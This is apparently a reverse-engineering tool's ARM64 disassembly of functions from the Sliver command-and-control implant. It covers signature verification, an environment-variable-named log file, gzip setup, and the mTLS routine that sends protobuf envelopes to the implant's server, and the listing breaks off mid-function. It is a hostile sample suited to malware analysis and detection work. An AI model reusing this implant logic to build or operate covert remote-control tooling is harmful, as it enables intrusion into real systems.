Similarity

003dd2d0
003dd2d0github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify(github.com/bishopfox/sliver/implant/sliver/cryptography.PublicKey * publicKey, struct []uint8 bin, github.com/bishopfox/sliver/implant/sliver/cryptography.Signature signature)
003dd2d0ldr x16, [x28+16]
003dd2d4sub x17, sp, 256
003dd2d8subs xzr, x17, x16
003dd2dcb.ls 0x3dd950
003dd2e0sub x20, sp, 384
003dd2e4stp x29, x30, [x20-8]
003dd2e8add sp, x20, 0
003dd2ecsub x29, sp, 8
003dd2f0str x0, [sp+568]
003dd2f4str x1, [sp+576]
003dd2f8str x2, [sp+584]
003dd2fcstr x3, [sp+592]
003dd300strb wzr, [sp+83]
003dd304stp xzr, xzr, [sp+104]
003dd308sturh wzr, [sp+85]
003dd30cmovz x4, 69
003dd310strb w4, [sp+85]
003dd314movz x4, 100
003dd318strb w4, [sp+86]
003dd31cldr x4, [sp+568]
003dd320ldrsb x27, [x4]
003dd324ldr x5, [sp+568]
003dd328ldrsb x27, [x5]
003dd32cldrb w4, [x4]
003dd330ldrb w5, [x5+1]
003dd334ubfm x5, x5, 56, 7
003dd338orr x4, x4, x5
003dd33cubfm x4, x4, 0, 15
003dd340movz x5, 25669
003dd344subs wzr, w4, w5
003dd348b.ne 0x3dd350
003dd34cb 0x3dd38c
003dd350
003dd350loc_3dd350:
003dd350adrp x0, 0x2e1000
003dd354add x0, x0, 2416
003dd358orr x1, xzr, 32
003dd35cbl errors.New
003dd360str x0, [sp+360]
003dd364str x1, [sp+368]
003dd368strb wzr, [sp+83]
003dd36cldr x1, [sp+360]
003dd370ldr x2, [sp+368]
003dd374str x1, [sp+104]
003dd378str x2, [sp+112]
003dd37cldrb w0, [sp+83]
003dd380ldp x29, x30, [sp-8]
003dd384add sp, sp, 384
003dd388ret x30
003dd38c
003dd38cloc_3dd38c:
003dd38cstrb wzr, [sp+84]
003dd390ldrb w4, [sp+408]
003dd394subs wzr, w4, 69
003dd398cset x4, eq
003dd39cstrb w4, [sp+87]
003dd3a0b.eq 0x3dd3a8
003dd3a4b 0x3dd3bc
003dd3a8
003dd3a8loc_3dd3a8:
003dd3a8ldrb w4, [sp+409]
003dd3acsubs wzr, w4, 100
003dd3b0cset x4, eq
003dd3b4strb w4, [sp+87]
003dd3b8b 0x3dd3c0
003dd3bc
003dd3bcloc_3dd3bc:
003dd3bcb 0x3dd3c0
003dd3c0
003dd3c0loc_3dd3c0:
003dd3c0ldrb w4, [sp+87]
003dd3c4tbnz w4, 0, 0x3dd3cc
003dd3c8b 0x3dd3d8
003dd3cc
003dd3ccloc_3dd3cc:
003dd3ccstrb wzr, [sp+84]
003dd3d0orr x4, xzr, 1
003dd3d4b 0x3dd424
003dd3d8
003dd3d8loc_3dd3d8:
003dd3d8ldrb w4, [sp+408]
003dd3dcsubs wzr, w4, 69
003dd3e0cset x4, eq
003dd3e4strb w4, [sp+87]
003dd3e8b.eq 0x3dd3f0
003dd3ecb 0x3dd404
003dd3f0
003dd3f0loc_3dd3f0:
003dd3f0ldrb w4, [sp+409]
003dd3f4subs wzr, w4, 68
003dd3f8cset x4, eq
003dd3fcstrb w4, [sp+87]
003dd400b 0x3dd408
003dd404
003dd404loc_3dd404:
003dd404b 0x3dd408
003dd408
003dd408loc_3dd408:
003dd408ldrb w4, [sp+87]
003dd40ctbnz w4, 0, 0x3dd414
003dd410b 0x3dd908
003dd414
003dd414loc_3dd414:
003dd414orr x4, xzr, 1
003dd418strb w4, [sp+84]
003dd41cb 0x3dd420
003dd420
003dd420loc_3dd420:
003dd420b 0x3dd424
003dd424
003dd424loc_3dd424:
003dd424ldr x5, [sp+568]
003dd428ldrsb x27, [x5]
003dd42cldr x6, [sp+568]
003dd430ldrsb x27, [x6]
003dd434ldr x7, [sp+568]
003dd438ldrsb x27, [x7]
003dd43cldr x8, [sp+568]
003dd440ldrsb x27, [x8]
003dd444ldr x9, [sp+568]
003dd448ldrsb x27, [x9]
003dd44cldr x10, [sp+568]
003dd450ldrsb x27, [x10]
003dd454ldr x11, [sp+568]
003dd458ldrsb x27, [x11]
003dd45cldr x12, [sp+568]
003dd460ldrsb x27, [x12]
003dd464ldrb w12, [x12+2]
003dd468ldrb w5, [x5+3]
003dd46cldrb w6, [x6+4]
003dd470ldrb w7, [x7+5]
003dd474ldrb w8, [x8+6]
003dd478ldrb w9, [x9+7]
003dd47cldrb w10, [x10+8]
003dd480ldrb w11, [x11+9]
003dd484ldrb w13, [sp+410]
003dd488ldrb w14, [sp+411]
003dd48cldrb w15, [sp+412]
003dd490ldrb w16, [sp+413]
003dd494ldrb w17, [sp+414]
003dd498ldrb w19, [sp+415]
003dd49cldrb w20, [sp+416]
003dd4a0ldrb w21, [sp+417]
003dd4a4ubfm x14, x14, 56, 7
003dd4a8orr x13, x13, x14
003dd4acubfm x5, x5, 56, 7
003dd4b0orr x5, x12, x5
003dd4b4ubfm x12, x15, 48, 7
003dd4b8orr x12, x13, x12
003dd4bcubfm x6, x6, 48, 7
003dd4c0orr x5, x5, x6
003dd4c4ubfm x6, x16, 40, 7
003dd4c8orr x6, x12, x6
003dd4ccubfm x7, x7, 40, 7
003dd4d0orr x5, x5, x7
003dd4d4ubfm x7, x17, 32, 7
003dd4d8orr x6, x6, x7
003dd4dcubfm x7, x8, 32, 7
003dd4e0orr x5, x5, x7
003dd4e4ubfm x7, x19, 24, 7
003dd4e8orr x6, x6, x7
003dd4ecubfm x7, x9, 24, 7
003dd4f0orr x5, x5, x7
003dd4f4ubfm x7, x10, 16, 7
003dd4f8orr x5, x5, x7
003dd4fcubfm x7, x20, 16, 7
003dd500orr x6, x6, x7
003dd504ubfm x7, x11, 8, 7
003dd508orr x5, x5, x7
003dd50cubfm x7, x21, 8, 7
003dd510orr x6, x6, x7
003dd514subs xzr, x6, x5
003dd518b.ne 0x3dd520
003dd51cb 0x3dd55c
003dd520
003dd520loc_3dd520:
003dd520adrp x0, 0x2de000
003dd524add x0, x0, 3376
003dd528orr x1, xzr, 28
003dd52cbl errors.New
003dd530str x0, [sp+360]
003dd534str x1, [sp+368]
003dd538strb wzr, [sp+83]
003dd53cldr x1, [sp+360]
003dd540ldr x2, [sp+368]
003dd544str x1, [sp+104]
003dd548str x2, [sp+112]
003dd54cldrb w0, [sp+83]
003dd550ldp x29, x30, [sp-8]
003dd554add sp, sp, 384
003dd558ret x30
003dd55c
003dd55cloc_3dd55c:
003dd55cldr x0, [sp+488]
003dd560ldr x1, [sp+496]
003dd564adrp x2, 0x2d8000
003dd568add x2, x2, 1237
003dd56cmovz x3, 17
003dd570bl strings.HasPrefix
003dd574strb w0, [sp+87]
003dd578tbnz w0, 0, 0x3dd580
003dd57cb 0x3dd8cc
003dd580
003dd580loc_3dd580:
003dd580ldrb w9, [sp+84]
003dd584tbnz w9, 0, 0x3dd58c
003dd588b 0x3dd638
003dd58c
003dd58cloc_3dd58c:
003dd58cstp xzr, xzr, [sp+344]
003dd590stp xzr, xzr, [sp+360]
003dd594mov x0, xzr
003dd598mov x1, xzr
003dd59cmov x2, x1
003dd5a0bl golang.org/x/crypto/blake2b.New512
003dd5a4str x0, [sp+344]
003dd5a8str x1, [sp+352]
003dd5acstr x2, [sp+360]
003dd5b0str x3, [sp+368]
003dd5b4ldr x3, [sp+344]
003dd5b8ldr x4, [sp+352]
003dd5bcstr x3, [sp+152]
003dd5c0str x4, [sp+160]
003dd5c4ldr x3, [sp+360]
003dd5c8ldr x4, [sp+368]
003dd5ccstr x3, [sp+136]
003dd5d0str x4, [sp+144]
003dd5d4ldr x3, [sp+152]
003dd5d8ldr x0, [sp+160]
003dd5dcstr x3, [sp+120]
003dd5e0str x0, [sp+128]
003dd5e4ldrsb x27, [x3]
003dd5e8ldr x1, [sp+576]
003dd5ecldr x2, [sp+584]
003dd5f0ldr x4, [sp+592]
003dd5f4ldr x3, [x3+56]
003dd5f8mov x5, x3
003dd5fcmov x3, x4
003dd600blr x5
003dd604ldr x3, [sp+120]
003dd608ldrsb x27, [x3]
003dd60cldr x3, [x3+48]
003dd610ldr x0, [sp+128]
003dd614mov x1, xzr
003dd618mov x2, xzr
003dd61cmov x4, x3
003dd620mov x3, x2
003dd624blr x4
003dd628str x0, [sp+576]
003dd62cstr x1, [sp+584]
003dd630str x2, [sp+592]
003dd634b 0x3dd63c
003dd638
003dd638loc_3dd638:
003dd638b 0x3dd63c
003dd63c
003dd63cloc_3dd63c:
003dd63cldr x9, [sp+568]
003dd640ldrsb x27, [x9]
003dd644add x9, x9, 10
003dd648ldrsb x27, [x9]
003dd64cb 0x3dd650
003dd650
003dd650loc_3dd650:
003dd650str x9, [sp+320]
003dd654orr x9, xzr, 32
003dd658str x9, [sp+328]
003dd65cstr x9, [sp+336]
003dd660add x6, sp, 418
003dd664ldrsb x27, [x6]
003dd668b 0x3dd66c
003dd66c
003dd66cloc_3dd66c:
003dd66cstr x6, [sp+296]
003dd670orr x8, xzr, 64
003dd674str x8, [sp+304]
003dd678str x8, [sp+312]
003dd67cldr x3, [sp+576]
003dd680ldr x4, [sp+584]
003dd684ldr x5, [sp+592]
003dd688ldr x0, [sp+320]
003dd68cldr x1, [sp+328]
003dd690ldr x2, [sp+336]
003dd694mov x7, x8
003dd698bl golang.org/x/crypto/ed25519.Verify
003dd69cstrb w0, [sp+87]
003dd6a0tbnz w0, 0, 0x3dd6a8
003dd6a4b 0x3dd890
003dd6a8
003dd6a8loc_3dd6a8:
003dd6a8ldr x5, [sp+568]
003dd6acldrsb x27, [x5]
003dd6b0add x5, x5, 10
003dd6b4ldrsb x27, [x5]
003dd6b8b 0x3dd6bc
003dd6bc
003dd6bcloc_3dd6bc:
003dd6bcstr x5, [sp+296]
003dd6c0orr x5, xzr, 32
003dd6c4str x5, [sp+304]
003dd6c8str x5, [sp+312]
003dd6ccadd x5, sp, 418
003dd6d0ldrsb x27, [x5]
003dd6d4b 0x3dd6d8
003dd6d8
003dd6d8loc_3dd6d8:
003dd6d8str x5, [sp+320]
003dd6dcorr x5, xzr, 64
003dd6e0str x5, [sp+328]
003dd6e4str x5, [sp+336]
003dd6e8ldr x1, [sp+496]
003dd6ecldr x6, [sp+488]
003dd6f0cbnz x6, 0x3dd6f8
003dd6f4b 0x3dd6fc
003dd6f8
003dd6f8loc_3dd6f8:
003dd6f8b 0x3dd708
003dd6fc
003dd6fcloc_3dd6fc:
003dd6fcadrp x6, 0x66e000
003dd700add x6, x6, 1504
003dd704b 0x3dd708
003dd708
003dd708loc_3dd708:
003dd708str x6, [sp+272]
003dd70cstr x1, [sp+280]
003dd710str x1, [sp+288]
003dd714b 0x3dd718
003dd718
003dd718loc_3dd718:
003dd718subs xzr, x1, 17
003dd71cb.hs 0x3dd724
003dd720b 0x3dd944
003dd724
003dd724loc_3dd724:
003dd724sub x7, x1, 17
003dd728sub x8, xzr, x7
003dd72csub x9, x1, 17
003dd730sbfm x8, x8, 63, 63
003dd734movz x10, 17
003dd738and x8, x8, x10
003dd73cadd x6, x6, x8
003dd740str x6, [sp+248]
003dd744str x9, [sp+256]
003dd748str x7, [sp+264]
003dd74cldr x2, [sp+336]
003dd750ldr x0, [sp+320]
003dd754ldr x6, [sp+328]
003dd758str x0, [sp+176]
003dd75cstr x6, [sp+184]
003dd760str x2, [sp+192]
003dd764ldr x7, [sp+256]
003dd768add x1, x6, x7
003dd76cstr x1, [sp+96]
003dd770subs xzr, x2, x1
003dd774b.hs 0x3dd77c
003dd778b 0x3dd784
003dd77c
003dd77cloc_3dd77c:
003dd77cstr x1, [sp+184]
003dd780b 0x3dd7a4
003dd784
003dd784loc_3dd784:
003dd784ldr x3, [sp+256]
003dd788adrp x4, 0x218000
003dd78cadd x4, x4, 3072
003dd790bl runtime.growslice
003dd794str x0, [sp+176]
003dd798str x1, [sp+184]
003dd79cstr x2, [sp+192]
003dd7a0b 0x3dd7a4
003dd7a4
003dd7a4loc_3dd7a4:
003dd7a4ldr x3, [sp+256]
003dd7a8str x3, [sp+88]
003dd7acldr x3, [sp+96]
003dd7b0ldr x4, [sp+256]
003dd7b4sub x3, x3, x4
003dd7b8ldr x4, [sp+176]
003dd7bcadd x0, x4, x3
003dd7c0str x0, [sp+168]
003dd7c4ldr x2, [sp+88]
003dd7c8ldr x1, [sp+248]
003dd7ccbl runtime.memmove
003dd7d0ldr x3, [sp+176]
003dd7d4ldr x4, [sp+184]
003dd7d8ldr x5, [sp+192]
003dd7dcstr x3, [sp+224]
003dd7e0str x4, [sp+232]
003dd7e4str x5, [sp+240]
003dd7e8add x6, sp, 504
003dd7ecldrsb x27, [x6]
003dd7f0b 0x3dd7f4
003dd7f4
003dd7f4loc_3dd7f4:
003dd7f4str x6, [sp+200]
003dd7f8orr x8, xzr, 64
003dd7fcstr x8, [sp+208]
003dd800str x8, [sp+216]
003dd804ldr x3, [sp+224]
003dd808ldr x4, [sp+232]
003dd80cldr x5, [sp+240]
003dd810ldr x0, [sp+296]
003dd814ldr x1, [sp+304]
003dd818ldr x2, [sp+312]
003dd81cmov x7, x8
003dd820bl golang.org/x/crypto/ed25519.Verify
003dd824strb w0, [sp+87]
003dd828tbnz w0, 0, 0x3dd830
003dd82cb 0x3dd854
003dd830
003dd830loc_3dd830:
003dd830orr x3, xzr, 1
003dd834strb w3, [sp+83]
003dd838stp xzr, xzr, [sp+104]
003dd83cldrb w0, [sp+83]
003dd840mov x1, xzr
003dd844mov x2, xzr
003dd848ldp x29, x30, [sp-8]
003dd84cadd sp, sp, 384
003dd850ret x30
003dd854
003dd854loc_3dd854:
003dd854adrp x0, 0x2dc000
003dd858add x0, x0, 1014
003dd85corr x1, xzr, 24
003dd860bl errors.New
003dd864str x0, [sp+360]
003dd868str x1, [sp+368]
003dd86cstrb wzr, [sp+83]
003dd870ldr x1, [sp+360]
003dd874ldr x2, [sp+368]
003dd878str x1, [sp+104]
003dd87cstr x2, [sp+112]
003dd880ldrb w0, [sp+83]
003dd884ldp x29, x30, [sp-8]
003dd888add sp, sp, 384
003dd88cret x30
003dd890
003dd890loc_3dd890:
003dd890adrp x0, 0x2d8000
003dd894add x0, x0, 1254
003dd898movz x1, 17
003dd89cbl errors.New
003dd8a0str x0, [sp+360]
003dd8a4str x1, [sp+368]
003dd8a8strb wzr, [sp+83]
003dd8acldr x1, [sp+360]
003dd8b0ldr x2, [sp+368]
003dd8b4str x1, [sp+104]
003dd8b8str x2, [sp+112]
003dd8bcldrb w0, [sp+83]
003dd8c0ldp x29, x30, [sp-8]
003dd8c4add sp, sp, 384
003dd8c8ret x30
003dd8cc
003dd8ccloc_3dd8cc:
003dd8ccadrp x0, 0x2e7000
003dd8d0add x0, x0, 3848
003dd8d4movz x1, 41
003dd8d8bl errors.New
003dd8dcstr x0, [sp+360]
003dd8e0str x1, [sp+368]
003dd8e4strb wzr, [sp+83]
003dd8e8ldr x1, [sp+360]
003dd8ecldr x2, [sp+368]
003dd8f0str x1, [sp+104]
003dd8f4str x2, [sp+112]
003dd8f8ldrb w0, [sp+83]
003dd8fcldp x29, x30, [sp-8]
003dd900add sp, sp, 384
003dd904ret x30
003dd908
003dd908loc_3dd908:
003dd908adrp x0, 0x2e0000
003dd90cadd x0, x0, 3517
003dd910orr x1, xzr, 31
003dd914bl errors.New
003dd918str x0, [sp+360]
003dd91cstr x1, [sp+368]
003dd920strb wzr, [sp+83]
003dd924ldr x1, [sp+360]
003dd928ldr x2, [sp+368]
003dd92cstr x1, [sp+104]
003dd930str x2, [sp+112]
003dd934ldrb w0, [sp+83]
003dd938ldp x29, x30, [sp-8]
003dd93cadd sp, sp, 384
003dd940ret x30
003dd944
003dd944loc_3dd944:
003dd944movz x0, 17
003dd948bl runtime.panicSliceB
003dd94chint
003dd950
003dd950loc_3dd950:
003dd950stp x0, x1, [sp+184]
003dd954stp x2, x3, [sp+200]
003dd958mov x3, x30
003dd95cbl runtime.morestack_noctxt.abi0
003dd960ldp x0, x1, [sp+184]
003dd964ldp x2, x3, [sp+200]
003dd968b 0x3dd2d0
003dd96cudf 0
003dd2d0

003dd970
003dd970github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.newKeyLogger(void)
003dd970ldr x16, [x28+16]
003dd974sub x17, sp, 64
003dd978subs xzr, x17, x16
003dd97cb.ls 0x3dda84
003dd980str x30, [sp-192]!
003dd984stur x29, [sp-8]
003dd988sub x29, sp, 8
003dd98cstr xzr, [sp+56]
003dd990stp xzr, xzr, [sp+104]
003dd994adrp x0, 0x2d6000
003dd998add x0, x0, 2330
003dd99cmovz x1, 13
003dd9a0bl os.LookupEnv
003dd9a4str x0, [sp+104]
003dd9a8str x1, [sp+112]
003dd9acstrb w2, [sp+55]
003dd9b0ldr x2, [sp+104]
003dd9b4ldr x3, [sp+112]
003dd9b8str x2, [sp+144]
003dd9bcstr x3, [sp+152]
003dd9c0ldrb w2, [sp+55]
003dd9c4strb w2, [sp+54]
003dd9c8ldr x2, [sp+144]
003dd9ccldr x3, [sp+152]
003dd9d0str x2, [sp+64]
003dd9d4str x3, [sp+72]
003dd9d8ldrb w2, [sp+54]
003dd9dcstrb w2, [sp+53]
003dd9e0tbnz w2, 0, 0x3dd9e8
003dd9e4b 0x3dda70
003dd9e8
003dd9e8loc_3dd9e8:
003dd9e8str xzr, [sp+176]
003dd9ecstp xzr, xzr, [sp+160]
003dd9f0ldr x0, [sp+64]
003dd9f4ldr x1, [sp+72]
003dd9f8movz x2, 1089
003dd9fcorr x3, xzr, 384
003dda00bl os.OpenFile
003dda04str x0, [sp+176]
003dda08str x1, [sp+160]
003dda0cstr x2, [sp+168]
003dda10ldr x4, [sp+176]
003dda14str x4, [sp+136]
003dda18ldr x4, [sp+168]
003dda1cldr x5, [sp+160]
003dda20str x5, [sp+120]
003dda24str x4, [sp+128]
003dda28ldr x4, [sp+136]
003dda2cstr x4, [sp+80]
003dda30ldr x4, [sp+128]
003dda34ldr x5, [sp+120]
003dda38str x5, [sp+88]
003dda3cstr x4, [sp+96]
003dda40cbnz x5, 0x3dda48
003dda44b 0x3dda5c
003dda48
003dda48loc_3dda48:
003dda48str xzr, [sp+56]
003dda4cmov x0, xzr
003dda50ldur x29, [sp-8]
003dda54ldr x30, [sp], 192
003dda58ret x30
003dda5c
003dda5cloc_3dda5c:
003dda5cldr x0, [sp+80]
003dda60str x0, [sp+56]
003dda64ldur x29, [sp-8]
003dda68ldr x30, [sp], 192
003dda6cret x30
003dda70
003dda70loc_3dda70:
003dda70str xzr, [sp+56]
003dda74mov x0, xzr
003dda78ldur x29, [sp-8]
003dda7cldr x30, [sp], 192
003dda80ret x30
003dda84
003dda84loc_3dda84:
003dda84mov x3, x30
003dda88bl runtime.morestack_noctxt.abi0
003dda8cb 0x3dd970
003dd970

003dda90
003dda90github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.init.0.func1(void)
003dda90ldr x16, [x28+16]
003dda94subs xzr, sp, x16
003dda98b.ls 0x3ddb18
003dda9cstr x30, [sp-112]!
003ddaa0stur x29, [sp-8]
003ddaa4sub x29, sp, 8
003ddaa8stp xzr, xzr, [sp+32]
003ddaacstr xzr, [sp+72]
003ddab0stp xzr, xzr, [sp+56]
003ddab4mov x0, xzr
003ddab8mov x1, xzr
003ddabcorr x2, xzr, 1
003ddac0bl compress/gzip.NewWriterLevel
003ddac4str x0, [sp+72]
003ddac8str x1, [sp+56]
003ddaccstr x2, [sp+64]
003ddad0ldr x3, [sp+72]
003ddad4str x3, [sp+96]
003ddad8ldr x3, [sp+56]
003ddadcldr x4, [sp+64]
003ddae0str x3, [sp+80]
003ddae4str x4, [sp+88]
003ddae8ldr x3, [sp+96]
003ddaecstr x3, [sp+48]
003ddaf0str x3, [sp+72]
003ddaf4adrp x4, 0x284000
003ddaf8add x4, x4, 1440
003ddafcstr x4, [sp+32]
003ddb00str x3, [sp+40]
003ddb04ldr x0, [sp+32]
003ddb08ldr x1, [sp+40]
003ddb0cldur x29, [sp-8]
003ddb10ldr x30, [sp], 112
003ddb14ret x30
003ddb18
003ddb18loc_3ddb18:
003ddb18mov x3, x30
003ddb1cbl runtime.morestack_noctxt.abi0
003ddb20b 0x3dda90
003ddb24udf 0
003ddb28udf 0
003ddb2cudf 0
003dda90

003ddb30
003ddb30github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope(crypto/tls.Conn * connection, github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
003ddb30ldr x16, [x28+16]
003ddb34sub x17, sp, 384
003ddb38subs xzr, x17, x16
003ddb3cb.ls 0x3ddff0
003ddb40sub x20, sp, 512
003ddb44stp x29, x30, [x20-8]
003ddb48add sp, x20, 0
003ddb4csub x29, sp, 8
003ddb50str x0, [sp+520]
003ddb54str x1, [sp+528]
003ddb58stp xzr, xzr, [sp+88]
003ddb5cstr xzr, [sp+448]
003ddb60stp xzr, xzr, [sp+456]
003ddb64stp xzr, xzr, [sp+432]
003ddb68ldr x1, [sp+528]
003ddb6cadrp x0, 0x337000
003ddb70add x0, x0, 1184
003ddb74bl google.golang.org/protobuf/proto.Marshal
003ddb78str x0, [sp+448]
003ddb7cstr x1, [sp+456]
003ddb80str x2, [sp+464]
003ddb84str x3, [sp+432]
003ddb88str x4, [sp+440]
003ddb8cldr x2, [sp+448]
003ddb90ldr x3, [sp+456]
003ddb94ldr x4, [sp+464]
003ddb98str x2, [sp+200]
003ddb9cstr x3, [sp+208]
003ddba0str x4, [sp+216]
003ddba4ldr x2, [sp+432]
003ddba8ldr x3, [sp+440]
003ddbacstr x2, [sp+184]
003ddbb0str x3, [sp+192]
003ddbb4ldr x2, [sp+200]
003ddbb8ldr x3, [sp+208]
003ddbbcldr x4, [sp+216]
003ddbc0str x2, [sp+160]
003ddbc4str x3, [sp+168]
003ddbc8str x4, [sp+176]
003ddbccldr x2, [sp+192]
003ddbd0ldr x3, [sp+184]
003ddbd4str x3, [sp+136]
003ddbd8str x2, [sp+144]
003ddbdccbnz x3, 0x3ddbe4
003ddbe0b 0x3ddce8
003ddbe4
003ddbe4loc_3ddbe4:
003ddbe4stp xzr, xzr, [sp+400]
003ddbe8stp xzr, xzr, [sp+416]
003ddbecadd x3, sp, 400
003ddbf0str x3, [sp+360]
003ddbf4ldrsb x27, [x3]
003ddbf8adrp x4, 0x218000
003ddbfcadd x4, x4, 2944
003ddc00str x4, [x3]
003ddc04adrp x27, 0x66e000
003ddc08ldr w4, [x27+3056]
003ddc0ccbz w4, 0x3ddc14
003ddc10b 0x3ddc18
003ddc14
003ddc14loc_3ddc14:
003ddc14b 0x3ddc28
003ddc18
003ddc18loc_3ddc18:
003ddc18ldr x4, [x3+8]
003ddc1cbl runtime.gcWriteBarrier1
003ddc20str x4, [x25]
003ddc24b 0x3ddc28
003ddc28
003ddc28loc_3ddc28:
003ddc28adrp x4, 0x335000
003ddc2cadd x4, x4, 384
003ddc30str x4, [x3+8]
003ddc34ldr x3, [sp+136]
003ddc38ldr x4, [sp+144]
003ddc3cstr x3, [sp+344]
003ddc40str x4, [sp+352]
003ddc44str x3, [sp+336]
003ddc48ldr x3, [sp+336]
003ddc4ccbnz x3, 0x3ddc54
003ddc50b 0x3ddc64
003ddc54
003ddc54loc_3ddc54:
003ddc54ldr x3, [sp+336]
003ddc58ldr x3, [x3+8]
003ddc5cstr x3, [sp+336]
003ddc60b 0x3ddc68
003ddc64
003ddc64loc_3ddc64:
003ddc64b 0x3ddc68
003ddc68
003ddc68loc_3ddc68:
003ddc68ldr x3, [sp+360]
003ddc6cldrsb x27, [x3]
003ddc70ldr x4, [sp+336]
003ddc74ldr x5, [sp+352]
003ddc78str x4, [x3+16]
003ddc7cadrp x27, 0x66e000
003ddc80ldr w4, [x27+3056]
003ddc84cbz w4, 0x3ddc8c
003ddc88b 0x3ddc90
003ddc8c
003ddc8cloc_3ddc8c:
003ddc8cb 0x3ddca4
003ddc90
003ddc90loc_3ddc90:
003ddc90bl runtime.gcWriteBarrier2
003ddc94str x5, [x25]
003ddc98ldr x4, [x3+24]
003ddc9cstr x4, [x25+8]
003ddca0b 0x3ddca4
003ddca4
003ddca4loc_3ddca4:
003ddca4str x5, [x3+24]
003ddca8ldr x0, [sp+360]
003ddcacldrsb x27, [x0]
003ddcb0b 0x3ddcb4
003ddcb4
003ddcb4loc_3ddcb4:
003ddcb4str x0, [sp+368]
003ddcb8orr x2, xzr, 2
003ddcbcstr x2, [sp+376]
003ddcc0str x2, [sp+384]
003ddcc4mov x1, x2
003ddcc8bl log.Print
003ddcccldr x0, [sp+136]
003ddcd0ldr x1, [sp+144]
003ddcd4str x0, [sp+88]
003ddcd8str x1, [sp+96]
003ddcdcldp x29, x30, [sp-8]
003ddce0add sp, sp, 512
003ddce4ret x30
003ddce8
003ddce8loc_3ddce8:
003ddce8adrp x0, 0x275000
003ddcecadd x0, x0, 2048
003ddcf0bl runtime.newobject
003ddcf4str x0, [sp+152]
003ddcf8str x0, [sp+392]
003ddcfcldr x1, [sp+168]
003ddd00str x1, [sp+72]
003ddd04str w1, [sp+60]
003ddd08ldr x1, [sp+392]
003ddd0cadrp x0, 0x336000
003ddd10add x0, x0, 2976
003ddd14adrp x2, 0x33d000
003ddd18add x2, x2, 2128
003ddd1cadrp x3, 0x66e000
003ddd20add x3, x3, 1504
003ddd24adrp x4, 0x218000
003ddd28add x4, x4, 3328
003ddd2cadd x5, sp, 60
003ddd30bl encoding/binary.Write
003ddd34ldr x0, [sp+152]
003ddd38bl bytes.(*Buffer).Bytes
003ddd3cstr x0, [sp+448]
003ddd40str x1, [sp+456]
003ddd44str x2, [sp+464]
003ddd48stp xzr, xzr, [sp+432]
003ddd4cldr x0, [sp+520]
003ddd50ldr x1, [sp+448]
003ddd54ldr x2, [sp+456]
003ddd58ldr x3, [sp+464]
003ddd5cbl crypto/tls.(*Conn).Write
003ddd60str x0, [sp+72]
003ddd64str x1, [sp+432]
003ddd68str x2, [sp+440]
003ddd6cldr x3, [sp+72]
003ddd70str x3, [sp+64]
003ddd74str x1, [sp+488]
003ddd78str x2, [sp+496]
003ddd7cstr x1, [sp+120]
003ddd80str x2, [sp+128]
003ddd84cbnz x1, 0x3ddd8c
003ddd88b 0x3dde90
003ddd8c
003ddd8cloc_3ddd8c:
003ddd8cstp xzr, xzr, [sp+400]
003ddd90stp xzr, xzr, [sp+416]
003ddd94add x3, sp, 400
003ddd98str x3, [sp+304]
003ddd9cldrsb x27, [x3]
003ddda0adrp x4, 0x218000
003ddda4add x4, x4, 2944
003ddda8str x4, [x3]
003dddacadrp x27, 0x66e000
003dddb0ldr w4, [x27+3056]
003dddb4cbz w4, 0x3dddbc
003dddb8b 0x3dddc0
003dddbc
003dddbcloc_3dddbc:
003dddbcb 0x3dddd0
003dddc0
003dddc0loc_3dddc0:
003dddc0ldr x4, [x3+8]
003dddc4bl runtime.gcWriteBarrier1
003dddc8str x4, [x25]
003dddccb 0x3dddd0
003dddd0
003dddd0loc_3dddd0:
003dddd0adrp x4, 0x335000
003dddd4add x4, x4, 400
003dddd8str x4, [x3+8]
003ddddcldr x3, [sp+120]
003ddde0ldr x4, [sp+128]
003ddde4str x3, [sp+288]
003ddde8str x4, [sp+296]
003dddecstr x3, [sp+280]
003dddf0ldr x3, [sp+280]
003dddf4cbnz x3, 0x3dddfc
003dddf8b 0x3dde0c
003dddfc
003dddfcloc_3dddfc:
003dddfcldr x3, [sp+280]
003dde00ldr x3, [x3+8]
003dde04str x3, [sp+280]
003dde08b 0x3dde10
003dde0c
003dde0cloc_3dde0c:
003dde0cb 0x3dde10
003dde10
003dde10loc_3dde10:
003dde10ldr x3, [sp+304]
003dde14ldrsb x27, [x3]
003dde18ldr x4, [sp+280]
003dde1cldr x5, [sp+296]
003dde20str x4, [x3+16]
003dde24adrp x27, 0x66e000
003dde28ldr w4, [x27+3056]
003dde2ccbz w4, 0x3dde34
003dde30b 0x3dde38
003dde34
003dde34loc_3dde34:
003dde34b 0x3dde4c
003dde38
003dde38loc_3dde38:
003dde38bl runtime.gcWriteBarrier2
003dde3cstr x5, [x25]
003dde40ldr x4, [x3+24]
003dde44str x4, [x25+8]
003dde48b 0x3dde4c
003dde4c
003dde4cloc_3dde4c:
003dde4cstr x5, [x3+24]
003dde50ldr x0, [sp+304]
003dde54ldrsb x27, [x0]
003dde58b 0x3dde5c
003dde5c
003dde5cloc_3dde5c:
003dde5cstr x0, [sp+312]
003dde60orr x2, xzr, 2
003dde64str x2, [sp+320]
003dde68str x2, [sp+328]
003dde6cmov x1, x2
003dde70bl log.Print
003dde74ldr x0, [sp+120]
003dde78ldr x1, [sp+128]
003dde7cstr x0, [sp+88]
003dde80str x1, [sp+96]
003dde84ldp x29, x30, [sp-8]
003dde88add sp, sp, 512
003dde8cret x30
003dde90
003dde90loc_3dde90:
003dde90stp xzr, xzr, [sp+432]
003dde94ldr x1, [sp+160]
003dde98ldr x2, [sp+168]
003dde9cldr x3, [sp+176]
003ddea0ldr x0, [sp+520]
003ddea4bl crypto/tls.(*Conn).Write
003ddea8str x0, [sp+72]
003ddeacstr x1, [sp+432]
003ddeb0str x2, [sp+440]
003ddeb4ldr x4, [sp+72]
003ddeb8str x4, [sp+80]
003ddebcstr x1, [sp+472]
003ddec0str x2, [sp+480]
003ddec4str x1, [sp+104]
003ddec8str x2, [sp+112]
003ddecccbnz x1, 0x3dded4
003dded0b 0x3ddfd8
003dded4
003dded4loc_3dded4:
003dded4stp xzr, xzr, [sp+400]
